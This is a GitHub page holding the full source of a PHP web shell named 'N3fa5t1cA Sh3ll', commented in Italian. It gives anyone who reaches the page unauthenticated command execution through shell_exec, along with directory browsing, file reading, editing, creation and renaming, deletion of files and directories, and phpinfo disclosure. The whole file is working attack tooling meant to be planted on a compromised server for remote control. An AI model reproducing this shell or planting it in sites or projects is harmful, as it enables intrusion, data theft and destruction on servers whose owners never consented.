-
Notifications
You must be signed in to change notification settings - Fork 4
/
nefasta_shell.php
executable file
·408 lines (188 loc) · 9.34 KB
/
nefasta_shell.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
<?php error_reporting(0); ?>
<html><title>N3fa5t1cA Sh3ll</title>
<style>
A:visited {color: #00fff0;}
A:active {color: #00ff00;}
input,textarea,select,table,body {
font: normal 11px Verdana, Arial, Helvetica, sans-serif;
background-color:black;
color:#a6a6a6;
border: solid 1px #464646;
}</style>
<body bgcolor="#000000" text="#ffffff" link="#00ff00" alink='#E1E1E1'>
<a href="<? echo $_SERVER['PHP_SELF'];?>"><center><h1>N3fa5t1cA Sh3ll</h1> 0.9 </center></a>
<center>realized by Dr. nefatso</center>
<br>PHP shell in : <?php echo $_SERVER['SCRIPT_FILENAME'] ?> <br />
Server : <?php echo $_SERVER['SERVER_NAME']; ?> <br />
USER agent : <?php echo htmlspecialchars($_SERVER['HTTP_USER_AGENT']);?><br />
SERVER ADDR : <?php echo$_SERVER['SERVER_ADDR'];?><br />
CLIENT ADDR : <?php echo $_SERVER['REMOTE_ADDR'];?><br />
<center><? $safe_mode_off="<font color=green>Safe Mode: OFF</font>"; $safe_mode_on="<font color=red>Safe Mode: 0N</font>";
(ini_get("safe_mode") == 0) ? $safe_status= $safe_mode_off : $safe_status= $safe_mod_on; echo $safe_status;
echo"<br />"; if (!get_magic_quotes_gpc()) echo "<font color=green>magic_quotes_gpc: OFF</font>";
else echo "<font color=red>magic_quotes_gpc: ON</font>";
?><br />
<a href="<? echo $_SERVER['PHP_SELF']."?phpinfo=1";?>">PHP_INFO</a></center><br />
<?php
$Wfile=$_GET["file"]; //variabili che prendiamo attraverso GET..
$Wfiledit=$_GET["filedit"]; //le useremo dopo...
$Wrmdir=$_GET["rmdir"];
$Wfiletoedit=$_GET["filetoedit"];
$Wfileimage=$_GET["image"];
$Wfileremove=$_GET["fileremove"];
$Wphpinfo=$_GET["phpinfo"];
($_GET["dir"]=="") ? $dir= '.' : $dir= $_GET['dir'] ;
/*questa parte si occupa di ricevere le informazioni per
*cambiare directory
*cercare file
*o creare un nuovo file
*/
echo "<form action='".$_SERVER['PHP_SELF']."' method=POST><font color='#f6f6f6'>
directory</font> :<input type='text' name='dir' value='".htmlspecialchars($dir)."' size=60><input type='submit' name='go_dir' value='go-->'><br/>
</form>
<form action='".$_SERVER['PHP_SELF']."?dir=".htmlspecialchars($dir)."' method=POST>
<font color='#f6f6f6'>..........MaKe FiLe...............</font><br />
nome file :<input type='text' name='name_new_file' value='' size=10> ATTENZIONE METTERE ANKE L'URL SE SI VUOLE CREARE UN FILE IN UN ALTRA CARTELLA<br>
<textarea rows='2' cols='20' name='new_file_text'></textarea><input type='submit' name='new_file' value='genera'><br />
<font color='#f6f6f6'>.......ReNaMe.......</font><br />
<input type='text' name='old_name' value='old_name' size=60>
<input type='text' name='new_name' value='new_name' size=60>
<input type='submit' name='go_rename' value='rename ...'></form>
<font color='#f6f6f6'>.....ExEcTuTe</font><br>
<form action='".$_SERVER['PHP_SELF']."' method=POST>
esegui :<input type='text' name='cmd' value='' size=60><input type='submit' name='go_cmd' value='shell_exec'></form><hr />";
if ($Wphpinfo) phpinfo();
//andiamo a eseguire dei comandi sulla shell..
elseif($_POST['go_cmd']) {
$cmd_output=shell_exec($_POST['cmd']);
echo "output di ".$_POST['cmd']."<br><hr><pre>".$cmd_output."</pre><hr><br>";
}
//rinominiamo un file
elseif($_POST['go_rename'])
{
echo "sto rinominando il file....";
if (rename($_POST['old_name'],$_POST['new_name'])) echo "<br>file rinominato con successo..";
}
elseif ($Wfileremove!='' )
{
echo "rimozine file ".htmlspecialchars($Wfileremove);
( unlink($Wfileremove) ) ? die( " riuscita") : die( " fallita forse non hai i permessi di scrittura.....");
}
elseif($Wfileimage!='') echo "<img src='".$Wfileimage."' />";
elseif ($_POST['new_file'] )
{
$file = $_POST['name_new_file'];
new_file($file,$_POST['new_file_text']);
}
//editiamo un file
elseif ($Wfiledit!='') {
if (!(is_writable($Wfiledit) and is_readable($Wfiledit))) die("file non leggibbile e/o scrivibile");
$fldtp=fopen($Wfiledit,'r');
$testo = htmlspecialchars(fread($fldtp,filesize($Wfiledit)));
fclose($fldtp);
echo "<center><form action='".$_SERVER['PHP_SELF']."?filetoedit=".$Wfiledit."' method=POST>
<textarea rows='50' cols='200' name='test'>".$testo."</textarea><br />
<input type='submit' name='save_edit_change' value='save'></form> ";
}//fine if di $Wfiledit
elseif($Wfiletoedit and $_POST['save_edit_change'] ) {
$file_change_text=fopen ($Wfiletoedit,'w+');
echo "salvataggio in ".htmlspecialchars($Wfiletoedit)."<br />";
$testo_new=gpc_text($_POST['test'] );
fwrite($file_change_text,$testo_new);
fclose($file_change_text);
echo "salvataggio eseguito con successo....";
}//fine di if
// rimoviamo la dir
elseif($Wrmdir!=''){
if (rmdir($Wrmdir)) echo $Wrmdir.' rimossa con successo' ;
else echo $Wrmdir.' non sono riuscito a rimuoverla';
}
//stampiamo il testo del file
elseif ($Wfile!='' ){
echo "sto aprendo <h3>".htmlspecialchars($Wfile)."</h3><hr /><br />";
if (!is_readable($Wfile)) die("file non leggibbile");
$flop = fopen($Wfile,'r');
$read=htmlspecialchars(fread($flop,filesize($Wfile)));
fclose($flop);
echo "<pre><span>". $read."</span> </pre><br /><hr />";
lista_file($dir);}
elseif ($_POST['go_dir']) echo "sto aprendo ".$_POST['dir']."<br>".lista_file($_POST['dir']);
else echo "<center>".lista_file($dir)."</center>";
function lista_file($dir)
{
if (!is_dir($dir)) die(htmlspecialchars($dir)." non è una directory");
if ($handle = opendir($dir)) {
$return = '<TABLE BORDER="3"><tr><td>nome dato</td>
<td>tipo dato</td>
<td>view</td>
<td>edit</td>
<td>remove</td>
<td>permessi</td>
<td>maggiori informazioni</td>
</tr>';
while (false !== ($file = readdir($handle)))
{// in questo while vengono richiamati tutti i file presenti nella cartella selezionata
$return .= link_genera($file,$dir);//questo genera i vari link....
}//fine while
$return .= '</TABLE>';
} else $return = 'non sono ruscito ad aprire la cartella ,...'; closedir($handle); return $return ;
}// fine function
function link_genera($a,$dir)
{
$image = array("jpg","gif",'png','JPG','GIF','PNG','jpeg','JPEG','bnp');
$re='<tr>';
$info = get_perms($dir.'/'.$a);
if(is_dir($dir.'/'.$a)) $re.= "<TD><a href='".$_SERVER['PHP_SELF']."?dir=".$dir.'/'.$a."'>".htmlspecialchars($a).'</a></td><td> directory</td><td></td><td></td><td><a href="'.$_SERVER['PHP_SELF'].'?rmdir='.$dir.'/'.$a.'">REMOVE</a></td>' ;
else {
$re.="<td>".htmlspecialchars($a)."</td></td>";
if (in_array(file_get_type($dir.'/'.$a),$image))
$re.=" <td><font color=red>immagine</font></td><td><a href='".$_SERVER["PHP_SELF"]."?image=".$dir.'/'.$a."'>VIEW</a></td> ";
else $re .= " <td>file</td><td><a href=' ".$_SERVER["PHP_SELF"]."?file=".$dir.'/'.$a."'>view</a></td>";
$re.=" <td><a href='".$_SERVER["PHP_SELF"]."?filedit=".$dir.'/'.$a."'>EDIT</a></td> <td> <a href='".$_SERVER["PHP_SELF"]."?fileremove=".$dir.'/'.$a."'>REMOVE</a></td>";
}
$flsz= filesize($dir.'/'.$a);
$re .= " <td> ".$info."</td><td>dimensione ".$flsz."</td>";
$re.='</tr>';
return $re;
}
function get_perms($fn)
{
$perms=fileperms($fn);
if($perms==false) return false;
$info='';
// Owner
$info .= (($perms & 0x0100) ? 'r' : '-');
$info .= (($perms & 0x0080) ? 'w' : '-');
$info .= (($perms & 0x0040) ?
(($perms & 0x0800) ? 's' : 'x' ) :
(($perms & 0x0800) ? 'S' : '-'));
// Group
$info .= (($perms & 0x0020) ? 'r' : '-');
$info .= (($perms & 0x0010) ? 'w' : '-');
$info .= (($perms & 0x0008) ?
(($perms & 0x0400) ? 's' : 'x' ) :
(($perms & 0x0400) ? 'S' : '-'));
// World
$info .= (($perms & 0x0004) ? 'r' : '-');
$info .= (($perms & 0x0002) ? 'w' : '-');
$info .= (($perms & 0x0001) ?
(($perms & 0x0200) ? 't' : 'x' ) :
(($perms & 0x0200) ? 'T' : '-'));
return $info;
}
function new_file($file,$text){
$text = gpc_text($text);
if (file_exists($file)) die ("file gia esistente se vuoi lo puoi modificare ma non scriverci sopra.....");
echo "sto aprendo ".htmlspecialchars($file)."<br>";
$nw_fl_pn=fopen($file,'w+');
if ($nw_fl_pn==false) die ("non posso creare il nuovo file");
echo "sto scrivendo su ".htmlspecialchars($file)."<br>";
fwrite($nw_fl_pn,$text);
fclose($nw_fl_pn);
echo "file creato ".htmlspecialchars($dir);
}
function file_get_type($file)
{
$array = explode ('.',$file);return ($array[(sizeof($array))-1]);}
function gpc_text($a){if(!get_magic_quotes_gpc())return $a;$a=str_replace("\'", "'",$a);$a=str_replace('\"', '"',$a);$a=str_replace ("\x5C\x5C","\x5C",$a);return $a;}
?></body></html>